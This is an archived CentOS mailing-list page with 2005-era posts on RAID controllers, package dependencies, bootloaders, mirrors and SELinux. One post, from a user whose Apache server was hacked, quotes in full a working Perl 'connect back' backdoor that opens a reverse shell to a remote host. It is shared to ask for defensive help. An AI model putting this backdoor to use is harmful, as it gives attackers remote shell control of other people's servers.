November 2005 - Discuss - lists.centos.org

Centos v3.3 CD 2
by Luis-Miguel Astudillo 15 Nov '11

15 Nov '11

Sorry, I have been away for a while. has anyone fixed CD2 fotr CentOS v3.3 ? -- Luis

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Gnumeric
by centos＠911networks.com 31 Mar '08

31 Mar '08

Hi, I am trying to install Gnumeric in CentOS 4 and I can't. It complains about quite a few dependencies failing. It suggested installing some postgresql librairies, openldap librairies... I did that, now I still get: dependencies failed: libmdb/libmdbsq/libsqlite/libxbase/libtds. Is there a yum repository that has them or a yum repository for gnumeric? I have tried Dag, he does not, he has libgda, but that has other requirements... -- Thanks

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CentOS4 and older megaraid
by Craig White 01 Sep '07

01 Sep '07

Release notes say no support for the RAID card in a box I just picked up...is there no hope for this box running 2.6 kernel? http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/release- notes/as-x86/ The kernel shipped with Red Hat Enterprise Linux 4 includes the new megaraid_mbox driver from LSI Logic, which replaces the megaraid driver. The megaraid_mbox driver has an improved design, is compatible with the 2.6 kernel, and includes support for the latest hardware. However, megaraid_mbox does not support some of the older hardware that was supported by the megaraid driver. Adapters with the following PCI vendor ID and device ID pairs are not supported by the megaraid_mbox driver: vendor, device 0x101E, 0x9010 0x101E, 0x9060 0x8086, 0x1960 <--- my card ---< The lspci -n command can be used to display the IDs for adapters installed in a particular machine. Products with these IDs are known by (but not limited to) the following model names: * Dell PERC (dual-channel fast/wide SCSI) RAID controller * Dell PERC2/SC (single-channel Ultra SCSI) RAID controller * Dell PERC2/DC (dual-channel Ultra SCSI) RAID controller * Dell CERC (four-channel ATA/100) RAID controller * MegaRAID 428 * MegaRAID 466 * MegaRAID Express 500 * HP NetRAID 3Si and 1M Both Dell and LSI Logic have indicated that they no longer support these models in the 2.6 kernel. As a result, these adapters are not supported in Red Hat Enterprise Linux 4. Craig

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Moving the Home dir to new server
by Todd Cary 01 Mar '07

01 Mar '07

I have a new Centos installation that has an empty /home dir and there are no users...just root. I want to move the home directory from another server to the new one. At this time the old /home directory has been tarred with "-prf". That will keep permissions which could be a problem. Is there a simple way to move the /home directory? And the non-system users in the password and group files? Todd -- Ariste Software 200 D Street Ext Petaluma, CA 94952 (707) 773-4523

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Mailing List Etiquette
by Johnny Hughes 18 Sep '06

18 Sep '06

OK guys and gals ... can we please stop all the fighting? When technical questions are asked, they should be answered. I lot of people on this list have something that a lot of newbies need ... experience. So answering a question with "RTFM" or "JFGI" is not going to impart any of your experience ... which is one of the things they need and want. Also ... if someone attacks you, you should not respond in kind, but should try not to flame or bait people. It take more than one person to get these things going, and just a little restraint on both people's parts could prevent problems. Can everyone who is a member of this list please read this document: http://www.gweep.ca/~edmonds/usenet/ml-etiquette.html Especially the section "I've been insulted! How should I respond?" Please, please, please ... can we be civil and not attack people personally. ALSO There is a forum at http://www.centos.org/modules/newbb/ It would be very good if people would post questions and answers there as well. Thanks, Johnny Hughes

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kannel from dag - sqlite conflict with centos 4.2
by Tony 20 Mar '06

20 Mar '06

I have a CentOS 4.1 box running Dag's Wieers kannel 1.4.0-3.2.el4.rf package which has a dependency on sqlite version 2.8.16-1.2.el4.rf also from Dag. If I try to up2date to centos 4.2 I'm hitting a conflict whereby 4.2 wants to install sqlite 3.2.2 - but kannel doesn't like that, reporting: Unresolvable chain of dependencies: kannel 1.4.0-3.2.el4.rf requires libsqlite.so.0 The new 3.2.2 version only provides libsqlite3.so.0. Anyone else seen this, or have any recommendations as to how I can have 4.2with kannel still installed? -- Cheers, Tony

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Install Guide for PostFix (with DoveCot, SquirrelMail, MailScanner, ClamAV) on CentOS-4
by Johnny Hughes 21 Feb '06

21 Feb '06

Ok, I have been working (for quite a while) on an install guide for PostFix (with DoveCot, SquirrelMail, MailScanner, ClamAV) on CentOS-4. A full install is part 1 (Postfix / Dovecot / Cyrus-Sasl), Part 3 (SquirrelMail) and Part 4 (MailScanner, Spam Assassin, ClamAV). I am still working on Part 2 (Postfix / Cyrus-Imap / Cyrus-Sasl). It will go with Part 3 and Part 4 (same as above) to get a full install that includes Cyrus-Imapd instead of dovecot ... should be done with this one in the next couple days. So to reiterate, Part 1,3,4 is a full postfix/dovecot install ... it is done and ready to go. Parts 2,3,4 is a full postfix/cyrus-imapd install ... this one is not quite done yet. Part 1 is here: http://www.hughesjr.com/content/view/40/2/Site_News Thanks Johnny Hughes

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MythTV on Centos 4
by Kirk Bocek 09 Feb '06

09 Feb '06

I'm starting a project to build a MythTV box for my living room. Anyone else currently working with MythTV on CentOS 4? Here are some of the gotcha's I've worked through so far: - I was originally planning on using KnoppMyth. But their CD appears to be only for i386. Without realizing it, the P4 CPU I picked is one of the newer ones with the x86_64 extensions. It won't boot i386. Thus, my plan B is going with CentOS4 x86_64 and installing from the ATrpms collection. Here's someone who's already doing this: http://umich2.com/archives/category/linux/mythtv/ - I picked up a cheap Radeon 7000 with TV out. Wrong! Various posts seem to say that the TV Out functionality is not supported by the X.org radeon driver. It *does* work with the vesa driver though. I just don't know if video and DVD playback will work with the vesa driver. Does anyone know? - The stock RedHat kernel does *not* have irda support enabled. I downloaded 2.6.13.2, enabled irda, and my motherboard's irda port is found and configured. We'll see if I can get it to work with the IR adapter in the nMediaPC case I bought. Kirk Bocek

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Some 3Ware questions
by Todd Cary 08 Feb '06

08 Feb '06

I have not used RAID controller boards to date since I have relied on the built in RAID on the motherboards. Thanks to the informative message Byron, I realize the deficiencies of doing RAID 1 this way, especially now that the builtin is out of date with Kernel used by Centos. I have 4 ATA drives that were configured in two pairs. I assume that I need a 3Wave controller that has 4 ports like the 7506-4LP...correct? Do I need to install any software during the installation of Centos? Todd -- Ariste Software 200 D Street Ext Petaluma, CA 94952 (707) 773-4523

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SCSI cards
by Denis Croombs 27 Jan '06

27 Jan '06

Hi I am trying to find a good PCI 64 SSI 320 raid controller to use with Centos & 4 10k drives as raid 1 & 0 to get the best I/O speed, any clues as to what people have found to be the best. Thanks Denis

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HPLIP
by Robert 18 Jan '06

18 Jan '06

First, has anyone successfully installed the HPLIP driver from HP in CentOS4? Second, does that driver really provide the toolbox which includes handy stuff like ink level monitoring? I got the source RPM (hplip-0.9.4-1.1.src.rpm) from an FC4 testing mirror, which rebuilt fine on this machine: . . . + umask 022 + cd /home/rj/rpmbuild/BUILD + cd hplip-0.9.4 + rm -rf /home/rj/rpmbuild/tmp/hplip-0.9.4-buildroot + exit 0 Executing(--clean): /bin/sh -e /home/rj/rpmbuild/tmp/rpm-tmp.54540 + umask 022 + cd /home/rj/rpmbuild/BUILD + rm -rf hplip-0.9.4 + exit 0 [rj@mavis ~]$ su Password: but would not install. [root@mavis rpmbuild]# rpm -ivh ./RPMS/i386/hplip-0.9.4-1.1.i386.rpm error: Failed dependencies: system-config-printer < 0.6.131.3 conflicts with hplip-0.9.4-1.1.i386 hpijs < 1:0.9.4-1.1 conflicts with hplip-0.9.4-1.1.i386 The conflict with hpijs is a no-brainer -- remove it because hplip is a replacement. But what about system-config-printer? I'm not too keen on dropping back to manually setting up printers. Any advice is welcome.

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openssh port forward in centos 4
by Erick Perez 05 Jan '06

05 Jan '06

Hi, I use putty in my windows xp machine. ssh server in a centos 4. The centos 4 machine runs a web server that listens on port 1812, the centos machine is behind a firewall that allows tcp 22 connections only. I am on public internet. Can I forward/redirect/allow my web browser in windows to "see" the web page in port 1812 of the centos machine via the SSH connection? Thanks, -- ------------------------------------------- Erick Perez Linux User 376588 http://counter.li.org/ (Get counted!!!) Panama, Republic of Panama

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modem for dial IN
by Tom Brown 04 Jan '06

04 Jan '06

Hi Not entirely centos related but that what the boxes are running so here i go ;) 2 of our centos boxes run nagios for network monitoring and send email and paging alerts and are connected to standard phone lines using modems to send the pages. I'm looking for a way in the event of provider failure to login to these machines and so am looking at the ability to connect to the console over the modem. Any good how-to's on this ? Also interested to know real life seciruty risks etc. Is it possible to limit phone numbers that are abor to connect etc? thanks

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3ware RAID controller scripts
by Bob Lewkowitz 26 Dec '05

26 Dec '05

Hello list, I see through the archives that some people here use 3ware RAID controllers with Centos. I have picked up two 9500S-4LP controllers for future servers. I was hoping that if some people could please share their 3ware monitoring scripts with the rest of the group. What I am really hoping to do is have some setup where a cron job runs scripts to test each of the drives connected to the controller to make sure they are not going to break any time soon and then check the health of the array itself. I am used to using smartd for basic SCSI and IDE drives but not connected to this adapter. Any good souls out there want to spread the knowledge? thx, Bob

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CentOS mailserver and spam filter setup ideas & preferences
by Robert 26 Dec '05

26 Dec '05

greetings, yes, Mr. Richey it was funny what everyone posted... we all need that from time to time eh? ummm on the work side... i have been trying to search on how to block alternative language spam (spanish or otherwise) and am coming up fairly blank except for Bayesian filtering... i will probably be using the www.qmailrocks.org system again yet i am interested in what others have done and are doing please... i used sendmail for years so any hints from that side would be appreciate too please? plus if someone tell me what i should be putting in my google search for trying to find alternative ways to filter spanish or other language spam please? i am almost drawing a blank! thanks in advance - rh -- Robert Hanson - Abba Communications Computer & Internet Services (509) 624-7159 - www.abbacomm.net

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yum-utils and yum-utils-plugins
by Johnny Hughes 25 Dec '05

25 Dec '05

All, We are currently testing the yum-utils and yum-utils-plugins in the dev.centos.org repository. The two main plugins that this allows that I think would be great for normal users are protectbase and fastestmirror. See the announcement on the centos-devel list for details: http://lists.centos.org/pipermail/centos-devel/2005-November/000947.html Thanks, Johnny Hughes

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SELinux threads, cynicism, one-upmanship, etc.
by Lamar Owen 16 Dec '05

16 Dec '05

After reading through the various SELinux threads, I really became quite perturbed. I mean, really quite perturbed. As an IT Director (and the entire IT department, currently), if I were hiring a sysadmin I know for a fact that someone whose first response to a question on why something doesn't work is 'turn it off' would not get a job here. Neither would a sysadmin with as much cynicism as has been displayed, or an automatic 'it broke things' when something new (and in fact improved) comes along get a job here. Do realize that this list is archived, and that many people who are hiring might use Google to find your name (or mine, for that matter). No, I would hire someone who would read enough of the friendly manual to know where to look and who to ask to find the fix for the real problem. The real fix is there; thanks to the KMail developers for including a 'mark as important' feature so I can find that message amongst the drivel in that thread easily (well, actually I'll probably just delete everything but the real solution). It is the lazy sysadmin who just turns things off without an understanding as to why they are turned off; don't give me the 'overworked' line; you had enough time to post here on the brokenness of SELinux, so you had enough time to find the problem's real source. I am not interested in hiring lazy sysadmins, once I get to hiring. Bryan Smith, for all the verbosity he is known for, doesn't seem to be lazy and could likely hold the job; Craig White likewise, among many others here. I won't name all the names to protect the guilty. :-) The main reason I think sysadmins in general seem to hate SELinux is the 'Mandatory' part of 'Mandatory Access Control' : that is, superuser power is too addictive to get rid of, and SELinux can do away with 'superuser' powers entirely. AND THAT IS A GOOD THING. Yes, it really is. The buffer overflow exploit for those root-running daemons doesn't stand a chance even if it gains root, as long as the selinux policies are set properly. And, yes, it is possible to set the policies properly; any daemon whose developers feel that it needs to be exempt from such might have a problem running on my servers. In a nutshell, SELinux is on and enabled everywhere here; I can't seem to find any measureable speed difference between SELinux targeted, permissive or off; it is unobtrusive in my experience, and it does indeed help protect internet-facing systems from unknown buffer overflows. This is a good thing, and I am convinced that the minor inconvenience of learning a new security tool's configuration is a great tradeoff; especially when the alternative is a compromised system. As there is no such thing as a 100% secure system, anything that improves security but, when properly configured, doesn't impact usability is a BIG WIN in a my book, and probably in many other IT Directors' books too. I have been running Red Hat Linux on internet-facing servers for quite a while, now, and in my opinion and experience, SELinux is the best thing to happen to Linux since 0.13 was released. It's about time the antiquated default Unix permissions system was overhauled. Yes, it requires study, thought, and care. I would expect nothing less of any sysadmins who would work under me. Also, as one poster wrote, SELinux is NOT a *service* but is indeed the Bully Boss of the system. This is also a good thing for internet-facing servers to have; how is the machine supposed to know that the Real Root has logged in, and that that process with euid 0 really was started by the Real Root? The Real Root should take the time to configure in to the policies those things the Real Root would normally do (you know, things like backups and the like, along with other normal activities), but then block those actions that the Real Root would not do (like install a rootkit; yes, a properly configured SELinux can prevent installation of a rootkit on your machine even if it gets 'rooted'). The power of the properly configured Mandatory Access Control system (The Bully Boss) is completely in the control of the Real Root, but untouchable by those Fake Roots who wish to do your system harm. This is again a good thing, and one I would think Diligent Sysadmins would be falling over themselves trying to learn and deploy. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu

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cs & gfs
by Jure Pečar 09 Dec '05

09 Dec '05

Hi all, I was informed[1] that gfs & rhcs packages are in the works but that there are some problems with the code. What are these problems? Can we do anything to help test / solve them? [1] http://www.karan.org/blog/index.php/2005/07/25/everyone_loves_a_cluster_as_… -- Jure Pečar http://jure.pecar.org

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Query: Filesystems
by Maciej Żenczykowski 09 Dec '05

09 Dec '05

Hello, Just a few quick, but not very simple questions...: Do any Linux filesystems (besides XFS) support freezing? (ie. in conjuction with LVM snapshots this can allow a mounted filesystem to be frozen [freezing all processes writing to this filesystem] in a valid state (with possibly dangling unlinked files), the device can be snapshotted via LVM, and the original filesystem unfrozen - the snapshot now contains a valid snapshot in time of the original filesystem - with no corruption. Can this (freezing) be used for the root filesystem or other important filesystems? ie. might it cause something vitally important to freeze? Can a snapshotted LVM (the snapshot, not the original filesystem) be modified (I assume snapshots are purely readonly...) - so as to remove the dangling deleted/unlinked files and possibly modify the uuid (I realize there is a nouuid mount option for XFS). And the last question: is there some sort of filesystem which supports generating 'in-filesystem' snapshots (ie. some sort of copy-on-write block semantics applicable both to files and directories combined with both a root rw directory to access current files and a ro /snapshot/YYMMDD-HHMMSS hierarchy to access snapshots from past dates with the possibility of deleting them at will (ie. generate a snapshot every hour, after 24 hours leave only every 6th one, after 7 days leave only dailies, after a month leave only weeklies etc... - much too complicated, but it's easier to get the basic idea across on a larger example - probably organized via cronjob). I realise such a solution would not be foolproof (if the disk goes bad or the filesystem goes haywire it's pretty much useless) so a hard-copy would still need to be maintained (probably via freeze/snapshot/unfreeze/dump it somewhere else) - but this would be useful for the users (the ability to restore past deleted files...) In a way this could possibly be realized via some twidling with rsync (although for space efficiency this would require copy-on-write hardlinks or something like that) but I see no way of doing this without wasting a lot of space (at least 1 copy of the snapshoted filesystem, the rest could probably be hardlinked). And to maintain full R/O status, this would need to be a seperate partition, etc... Any comments/ideas? Cheers, MaZe.

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Apache/PHP Security Help.
by Ajay Sharma 05 Dec '05

05 Dec '05

I have a personal apache/mail server that is getting hacked and I'm not sure how the person is getting in. What's happening is that every few days, the below script will show up in /tmp as 'dc.txt', owned by apache and then a TON of mail is queued up to a bunch of addresses in @uol.com.br. I initially thought they got in becuase I had an outdated version of 'gallery' installed. I rebuild the server and update gallery and thought I should be okay. But now they are still getting in and instead of blindly rebuilding the server, I need to figure out how they are able to run perl scripts on the server. Any suggestions? --Ajay PS. This is a CentOS 4.2 box running the latest apache/php RPMS. --------------------------- #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>\n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . "\0" x 4; exit(0); } print "[*] Datached\n\n"; --------------------------------

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Video Recording
by Lee W 03 Dec '05

03 Dec '05

Hi, I would like to record some training/advertising videos, in a similar format to those offered by CBT Nuggets (and others). Essentially this means I need to be able grab real video (e.g. webcam or DV camcorder, etc) as well as what is on the computer screen (VNC Recorder maybe) and audio. In terms of output I would like it to be in Ogg Theora format as these seems to be supported both on Linux & Windows (though media player plugins), it is also an open standard which beats all the other available formats. Does anyone have any suggestions for such a program, even if it is suite of different programs. My google/freshmeat search results have so far been not very useful. Thanks in advance Lee

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RE: [CentOS] why was LILO removed from centOS 4.2?
by Nielsen, Steve 02 Dec '05

02 Dec '05

lilo is still there. Its just not available as a choice in the install. We build all of our servers using kickstart (automated version of the install) and there lilo can be specified as a boot loader. Steve -----Original Message----- From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On Behalf Of Ulrik S. Kofod Sent: Wednesday, November 30, 2005 9:06 AM To: centos(a)centos.org Subject: [CentOS] why was LILO removed from centOS 4.2? I can't choose LILO as boot loader anymore in the install process? And what is the advantages in GRUP vs. LILO that are so great that LILO has been deleted all together? One big disadvantages when forced to use GRUB is that it is a hassle to make the disks in a RAID1 bootable. https://www.redhat.com/archives/fedora-list/2005-March/msg05935.html and RAID1 seems pretty useless when it is the only bootable disk that fails. can someone come up with a nice one-liner that will make GRUB "global" like LILO is out-of-the-box ? or is ther a parameter you can give? I don't know about you but when one of my disks fails I really don't need too many new check marks to worry about on my to do list. best regards Ulrik _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos

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Default CentOS(Redhat) iptables, Secure?
by Mark Sargent 02 Dec '05

02 Dec '05

Hi All, whilst not being an expert on iptables, the below ouput of iptables -L seems too insecure to me. Does anyone agree.? Perhaps I'm not understanding it as well as I think I am.? Please give your thoughts on this. Cheers. Mark Sargent. [root@localhost racket]# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination RH-Firewall-1-INPUT all -- anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination RH-Firewall-1-INPUT all -- anywhere anywhere Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain RH-Firewall-1-INPUT (2 references) target prot opt source destination ACCEPT all -- anywhere anywhere ACCEPT icmp -- anywhere anywhere icmp any ACCEPT ipv6-crypt-- anywhere anywhere ACCEPT ipv6-auth-- anywhere anywhere ACCEPT udp -- anywhere 224.0.0.251 udp dpt:5353 ACCEPT udp -- anywhere anywhere udp dpt:ipp ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED REJECT all -- anywhere anywhere reject-with icmp-host-prohibited You have new mail in /var/spool/mail/root

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wait() fails
by Michael Ubell 01 Dec '05

01 Dec '05

I have a program that forks a child, sleeps for a while and then kills the child and waits for it. On CentOs (4) the wait sometimes fails with a "No child" error. I have not seen this on any other system. This program has been running for years on Solaris, older Redhat distributions, etc. I would say the failure rate is about 1 in 10. I put a breakpoint on the error and forced the code to wait again. It works the second time. Is this a known bug? Mike

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why was LILO removed from centOS 4.2?
by Ulrik S. Kofod 01 Dec '05

01 Dec '05

I can't choose LILO as boot loader anymore in the install process? And what is the advantages in GRUP vs. LILO that are so great that LILO has been deleted all together? One big disadvantages when forced to use GRUB is that it is a hassle to make the disks in a RAID1 bootable. https://www.redhat.com/archives/fedora-list/2005-March/msg05935.html and RAID1 seems pretty useless when it is the only bootable disk that fails. can someone come up with a nice one-liner that will make GRUB "global" like LILO is out-of-the-box ? or is ther a parameter you can give? I don't know about you but when one of my disks fails I really don't need too many new check marks to worry about on my to do list. best regards Ulrik

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clicking backspace in centos3 makes ^?
by Robin Mordasiewicz 01 Dec '05

01 Dec '05

While in centos3, using vim and clicking the backspace I see the ^? character instead of it actually deleteing the previous character. In centos4 this was not a problem. I have rad about remapping keys and such, but can someone tell me what the difference between centos4 and centos3 is so I can make the change to make it work on centos3.

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CentOS 4 and Intel Wireless 2200BG (ipw2200)
by Barry Brimer 01 Dec '05

01 Dec '05

I am going to be setting up an Intel 2200bg card this evening. I was wondering if anyone is using this (successfully) with CentOS 4. The directions look straightforward, but please let me know if you had to do anything interesting/undocumented to make it work. I am also wondering if people are using the driver provided with the current CentOS 4 kernel or if people are using the most recent version, and if so are you using the one from ipw2200.sourceforge.net or from intel.com Thanks, Barry

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Too much memory cache being used while moving large file
by Sean O Sullivan 01 Dec '05

01 Dec '05

System : CentOS 4.2 2.6.9-22.0.1.ELsmp System fully up-to-date. 3GB RAM 3ware 9000S card, with Raid5 array. I think that's about all relevant info ... Had file on disk (not array), attempted to mv file to array. Went fine till 2.4GB was copied, then it slowed down to a meg every few minutes. Free memory was ~50MB (Typically is 1.5-2GB), and cache was 2.5GB. Stopped the move, however cache not being cleared out -- and this issue continues to happen - unsure if it was always a problem/known issue, it does however only occur when copying a single file > 2.4GB (I have copied 5+GB of 1+GB files in the past without issue). Also, saw following in dmesg while this was going on: Out of Memory: Killed process 12467 (mysqld). I'll be restarting server later on tonight, which will 'fix' immediate problem, however just curious on thoughts in regards to this. Regards, Sean O Sullivan

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Installed Kernal (default)
by Sam Drinkard 01 Dec '05

01 Dec '05

Is there a description or statement that describes the stock kernal in CentOS, and would give all the various modules it is compiled with? As with BSD, I assume there are things in the kernal that are mandatory, and then there are things that are optional or included so as to catch most everything one could have w/r/t hardware. That being the case, as with FreeBSD, removing those unneded modules would work to reduce the size of the kernal. Aside from rebuilding the kernal to have it contain certain objects needed for something to work, and the loading of different modules at runtime, are there any other benefits to building a custom kernal for any particular set of hardware? By leaving the modules not needed, how much, if any, overhead does this contribute to size? Is this sort of the way things work under Linux, or am I all wet in my thinking? -- Snowman

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A minor beef
by Collins Richey 01 Dec '05

01 Dec '05

CentOS is a really great product, and the package supporters do a bang up job, but the one deficiency I've found is the fact that one can never rely on being able to get updates at any particular time. Whether it's CentOS proper or the Dag additions, something is broke most every time I want to apply updates. I know this is whin[ge]ing, and I certainly don't have a solution to offer. If anyone can offer bucks and/or equipment to improved the software distribution process, your karma would get an enormous boost!!! -- Collins Richey Debugging is twice as hard as writing the code ... If you write the code as cleverly as possible, you are, by definition, not smart enough to debug it. -Brian Kernighan

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Squid updates break tunneling
by Tim Edwards 01 Dec '05

01 Dec '05

This is a question I posted to the RHEL3 mailing list but didn't get a response: "We are currently running squid-2.5.STABLE3-6.3E.9 on one of our RHEL3 proxy servers because updating to the latest (squid-2.5.STABLE3-6.3E.14) seems to break any kind of tunelling, ie. things like instant messaging ports and ssh using proxytunnel (http://proxytunnel.sourceforge.net/) Has anyone else experienced this problem with the Squid updates from RHN?" I was wondering if anyone running Centos has any advice/info on this? -- Tim Edwards

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Yum / Up2date issues and mirror.centos.org
by Johnny Hughes 01 Dec '05

01 Dec '05

There have been some complaints recently concerning this, so I thought an explanation of the setup AND recommendations are in order. First, I want to say that we need more donated servers with fast (at least 100mbit) internet connections. If you are making lots of money using CentOS and are a hosting provider, please consider providing us a donated server so we can better distribute CentOS. Now on to the message :) ----------------------------------------- 1. mirror.centos.org is a rrdns of several machines, so that we can distribute the load for CentOS downloads across several servers. Distributed load is the only way we can serve more than 1 TiB per day for updates. (That's right, 1 TiB per day, ~30TiB per month, double the traffic of 3 months ago, 10x the traffic of a year ago). We had several servers totally maxed out serving updates during the 4.2 release cycle. Did I mention server donations :) There are other ways to distribute the load other than rrdns ... like a load balancer ... but these usually only work well with geographically co-located machines. Since all our machines for mirror.centos.org rrdns are donated and they are disbursed throughout the US and EU. They don't work well with the typical load balancing. 2. Since our machines are not geographically co-located, we need to come up with another method to use multiple servers to distribute load. We are currently developing an application that will use geoip (and public mirrors that we verify are updated: http://www.centos.org/modules/tinycontent/index.php?id=13 along with the donated mirror.centos.org servers) to generate a mirrorlist for each country identified by geoip. This mirrorlist should then have good, fast and geographically accurate servers for each person who does updates. We hope to have this system functioning properly before the release of CentOS-4.3 and CentOS-3.7. If you use the optional fastestmirror plugin, you will even get the fastest mirror in each repo from the mirrorlist. The fastestmirror plugin is currently under heavy development by the people at yum (in which CentOS is helping) ... so it is going to change in the next couple months, but in it's current form it works well for those not on proxy servers to pick the fastest mirrors from a list. http://lists.centos.org/pipermail/centos-devel/2005-November/000947.html 3. Another common problem is transparent proxy servers and yum. HTTP mirrors and yum don't work really well via transparent proxy servers, so if you are using one, your best bet is to pick an FTP mirror from our public external server list (see mirror link above) instead of mirror.centos.org. ------------------------------- So, what can you do now if you have problems ... or just want to help. First thing is to pick several close mirrors and not use mirror.centos.org in your /etc/yum.repos.d/CentOS-Base.conf file. There is an example of a repo with more than 1 mirror in the fastestmirror link above. If you have more than 1 mirror for each repo (I recommend that you do) ... and if you don't have to use yum via a proxy server that blocks outbound client connections ... then you should try the fastestmirror plugin above to pick your best mirror from the list at yum run time. We will continue to strive to deliver CentOS within our means as we continue to grow by leaps and bounds, but we need the help and support of our user community if we are going to be able to continue to provide the same stellar services that we have all grown accustomed to. That means people who use CentOS will need to support it ... that is what the Community ENTerprise Operating System (CentOS) is all about. Thanks, Johnny Hughes

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RE: [CentOS] Building rpms
by Bowie Bailey 01 Dec '05

01 Dec '05

From: Craig White [mailto:craigwhite@azapple.com] > On Wed, 2005-11-30 at 12:53 -0600, Johnny Hughes wrote: > > > > What is the purpose of the LDAP upgrade ... if it is security you are > > worried about ... those get in there. > > > > See this: > > http://www.redhat.com/advice/speaks_backport.html > > > > When you start changing major components, you greatly reduce the > > stability of CentOS for yourself ... and you ruin the system > > interoperability. > ---- > I pretty much agree with that last statement - and could never > conceive of getting an rpm of openldap/servers/client from Fedora > and rebuilding it on RHEL/CentOS without it being really really > tough to build and not breaking anything. > > I think the general consensus on openldap message base is to build > everything in /usr/local from source, which in my case, I built db4 > (4.2.52+patches), kerberos, cyrus-sasl, openssl and then finally > openldap - all from source and it wasn't nearly as hard as I feared > and left RHEL stuff alone and didn't break anything. The information > that I used to do this all came from Quanah's web pages at > Stanford... > http://www.stanford.edu/services/directory/openldap/ I'm looking at doing that. I was just trying to stay with RPMs if possible so that I don't run in to dependency issues later when I try to install an RPM that requires openldap. > Perhaps a less painful method might be to use Buchan Milne's rpm's > which would do much the same and though they seem to be created for > Mandriva, apparently can build/install on RHEL (sorry, I don't have > a URL for this but you can either post to openldap list or search > their archives). Not a bad idea. Anyone tried this on CentOS4? > Lastly, perhaps the least painful method of all is the pretty much > turnkey packages available from symas... <http://www.symas.com> Interesting. I may look into this. > Now, generally Red Hat back port works well enough but if you are > going to make RHEL/CentOS the base of a large directory service... > 2.0.7-20 (CentOS3) and 2.2.13-4 (CentOS4) simply don't cut it for a > number of reasons. I stick with them on most of my installations > because the number of users and the extent of the demands that I put > upon ldap are pretty minimal but if you are going to have a > substantial investment in time/energy in ldap, > fahgettibouddit...install current. That's about what we determined. > Recognize that 2.2.30 (I believe) is still the latest categorized > 'stable' - 2.3.11 (and I think it is now up to 2.3.12) is discussed > and sometimes casually referred to as 'stable' - I don't think that > it has 'officially' been designated so. Actually, 2.3.11 is stable as of 10/18. Bowie

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Re: [CentOS] why was LILO removed from centOS 4.2?
by Brian T. Brunner 01 Dec '05

01 Dec '05

The question remains unanswered: WHY was LILO removed? We/you/they removed *something that works*. What took its place does not work everywhere LILO does... a functionality loss. I hear folks saying "that loss is corrected in a future release" That's saying GRUB is *almost* ready to replace LILO, which has been removed prematurely. The question was "Hey, REDHAT, *WHY*?" Brian Brunner brian.t.brunner(a)gai-tronics.com (610)796-5838 >>> mail-lists(a)karan.org 11/30/05 10:55AM >>> Nielsen, Steve wrote: > I meant not a visible choice by default :). > > Thanks for the tip. I was not aware of making it visible in that way. > > So at the prompt you type: > > "boot: lilo" ? > boot: linux lilo - K _______________________________________________ CentOS mailing list CentOS(a)centos.org http://lists.centos.org/mailman/listinfo/centos ******************************************************************* This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept for the presence of computer viruses. www.hubbell.com - Hubbell Incorporated

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RE: [CentOS] Building rpms
by Bowie Bailey 01 Dec '05

01 Dec '05

From: Johnny Hughes [mailto:mailing-lists@hughesjr.com] > On Wed, 2005-11-30 at 11:28 -0500, Matt Hyclak wrote: > > On Wed, Nov 30, 2005 at 11:16:08AM -0500, Bowie Bailey enlightened us: > > > From: Matt Hyclak [mailto:hyclak@math.ohiou.edu] > > > > > > > > On Wed, Nov 30, 2005 at 11:05:48AM -0500, Bowie Bailey enlightened us: > > > > > > > > > > I found an rpm from Fedora Core Development on RPMFIND. Will this one work > > > > > with Centos, or should I grab the source rpm and rebuild it? > > > > > > > > Rebuild from src.rpm. > > > > > > Ok, tried that... > > > > > > $ rpmbuild --rebuild openldap-2.3.11-3.src.rpm > > > Installing openldap-2.3.11-3.src.rpm > > > error: Failed build dependencies: > > > bind-libbind-devel is needed by openldap-2.3.11-3.x86_64 > > > libtool-ltdl-devel is needed by openldap-2.3.11-3.x86_64 > > > > > > Where do I find these two? Do they have different names with CentOS, > > > or do I have to get them from elsewhere? > > > > > > Thanks, > > > Bowie > > > > You'll probably have to get them from the FC Development repository as well. > > You're probably looking at the bind and libtool srpms, if I had to guess. > > If you're lucky, those two won't depend on too much else, otherwise you'll > > spiral quickly into dependency hell. > > > > > What is the purpose of the LDAP upgrade ... if it is security you are > worried about ... those get in there. > > See this: > http://www.redhat.com/advice/speaks_backport.html > > When you start changing major components, you greatly reduce the > stability of CentOS for yourself ... and you ruin the system > interoperability. The purpose is extra features. Mainly, we are having problems with reliability. Twice now, when the system has crashed, the database was corrupted. The scary thing is that both times the database was completely idle when this happened. Version 2.3 fixes a problem with the database checkpoint command and also allows for an automatic database recover on startup. Hopefully, this will at least allow us to recover more easily in the case of a crash. We are also looking at updating Berkely DB to see if that would help. Bowie

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RE: [CentOS] Building rpms
by Bowie Bailey 01 Dec '05

01 Dec '05

